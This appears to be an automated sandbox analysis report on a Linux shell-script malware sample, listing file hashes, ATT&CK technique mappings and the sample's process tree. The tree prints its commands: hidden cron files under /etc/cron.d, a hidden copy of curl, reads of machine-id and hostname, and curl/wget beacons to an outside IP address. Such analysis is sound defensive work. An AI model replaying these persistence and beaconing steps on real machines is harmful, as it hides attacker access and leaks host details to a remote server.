887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef

General

Target
887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
Size 957B
Sample261002-hfc75att8m
SHA256 887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef
MD5 7b3245f758c57123dcff30875e6b7d0e
SHA1 b0f5fb6e9e22b43603ddaf3be6920aaf8a9f367b
SHA512 bba34c572f1974fa51332b180b7b9b5f75f3bc44fc3981977f27cca6c451a9c809df5b410b0ee7b5b275c0ad260f1222afbc88c6b20fc0df6a9008f56b836740
TLSH
T1AC1197F57636A2B2B308ED3CAF99165D6BC629A31424B900902E4CBCD01C78F728E734
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
710	chmod
721	chmod

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/.sysd	887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
File opened for modification	/etc/cron.d/.clown	887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
735	wget

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	1	curl/8.4.0
HTTP User-Agent header	2	curl/8.4.0

/tmp/887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
/tmp/887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
1⤵
- Creates/modifies Cron job
PID:701
- /bin/mkdir
  mkdir /usr/local/lib/.sysd
  2⤵
  - Reads runtime system information
  PID:703
- /bin/mkdir
  mkdir /etc/cron.d
  2⤵
  - Reads runtime system information
  PID:705
- /bin/cp
  cp /usr/bin/curl /usr/local/lib/.sysd/curl
  2⤵
  - Reads runtime system information
  PID:707
- /bin/chmod
  chmod 755 /usr/local/lib/.sysd/curl
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /bin/hostname
  hostname
  2⤵
  PID:714
- /bin/cat
  cat /etc/machine-id
  2⤵
  PID:716
- /bin/uname
  uname -m
  2⤵
  PID:718
- /bin/hostname
  hostname
  2⤵
  PID:719
- /bin/chmod
  chmod 755 /usr/local/lib/.sysd/hb
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /bin/sh
  sh /usr/local/lib/.sysd/hb
  2⤵
  PID:723
- - /usr/bin/curl
    curl -s -A curl/8.4.0 "http://8.216.48.50/h?h=debian9-mipsbe-20260513-en-0-db35025516fd48b4b866cd7da63faa74-mips&v=c3"
    3⤵
    - Reads runtime system information
    PID:725
- - /usr/bin/wget
    wget -q -U curl/8.4.0 -O /dev/null "http://8.216.48.50/h?h=debian9-mipsbe-20260513-en-0-hb&v=c3"
    3⤵
    - System Network Configuration Discovery
    PID:735
- /bin/ls
  ls -l /etc/cron.d/
  2⤵
  - Reads runtime system information
  PID:738
- /bin/cat
  cat /etc/cron.d/.clown
  2⤵
  PID:739
- /bin/hostname
  hostname
  2⤵
  PID:740
- /usr/bin/curl
  curl -s -o /dev/null "http://8.216.48.50/h?h=debian9-mipsbe-20260513-en-0-DONE&v=c3"
  2⤵
  - Reads runtime system information
  PID:741

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.clown

Path /etc/cron.d/.clown
Size 57B
SHA256 87d22e6ce815931c47820fd1ddbbbeaa8b2ae5ae4c0be1a40917e48a1436ecc2
MD5 48d5c7db059c69a4a088c6332b0bffba
SHA1 863b6d11d0e29cc5dd34322ab1e0591c0c622f8a
SHA512 38feeeec944d87e5ac57b20932b592adde1bff5e1b6b2e18b0a3808f10a8d79e135bb835e050f5c6455a18bd2cc1b2c17eefbd8921f311cd2610d75a75027361
TLSH
T1F99002BB61A5153A6506EF3C67A201CED186214510546864C45D0439401D34BA54EA16
MD5 SHA1 SHA512 TLSH

Submit Download

curl

Path /usr/local/lib/.sysd/curl
Size 186KB
SHA256 226c62fcbf25743a88180b10072e6b3c96dc6b08559a96ea0a67cdb94b3d15ca
MD5 e045e492b033a4f0e2168aaa509f5fd5
SHA1 4e2b28d07da66205e6a5875a3579f4c2bd18d4cc
SHA512 22dce34af0f4270709c72d8a7557f15939a72ab73d574f4bb8f295ca7e1907e3a42846a31092c34a147c58aa1a2dd05bb2d0656bdcffbc8a5ee5b6d9e82b0074
SSDEEP 3072:Oym9kgUKYFvlweZ5kldUGB126NqOtLjq7TITMNKBIePdGb1iDrci6+4:OGgmlZGgOtLm78TMNKBwbgDA+4
TLSH
T119146CA387E04E29E572C27015A2BB9203A444E32594D7AAE19CF4183F532D67FD7EF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hb

Path /usr/local/lib/.sysd/hb
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

hb

Path /usr/local/lib/.sysd/hb
Size 145B
SHA256 fd4f89b67459d66d1fc1a02705d93fe4a92f10ccb6ef0457b16701558c8c72dd
MD5 69f829d5963f4e37b8c2dd711e799982
SHA1 38cb96f67fd1f20c542d2769dc6b61c3a2afccbf
SHA512 05714a4fb7be3ee4fa2c575b271bdba7e6e58de573ddc3c7aad1abd9e1e8951d3c92c1993a23fbc17ac2cd9430b8b3984a7644f139a0e0428a25835106e276ce
TLSH
T154C08C6374B838A6B90ABA04F3B102A82A030141182405A4DA301995433830BA986326
MD5 SHA1 SHA512 TLSH

Submit Download

hb

Path /usr/local/lib/.sysd/hb
Size 254B
SHA256 4a421c9e22461954262033f5a467fd84e87496562d0fefd02dccdaa659a1474c
MD5 9d053c2e73bfdc1a2acf36b1b209fcf6
SHA1 edbc071bcb55f25ab6809da238858993dc4644dc
SHA512 d31934d5dd3a78883481a4a3bb4a87ebd4c5eaaf1938ca4d56380098b458015e4930878f9177afe91f5634cf3ac66a5758574ce4551219d14d76b4ecb780eec5
TLSH
T18BD02B63B4F474A1F80EFA09B3B112BC6B47456104381355DD211C48532C24FA886722
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads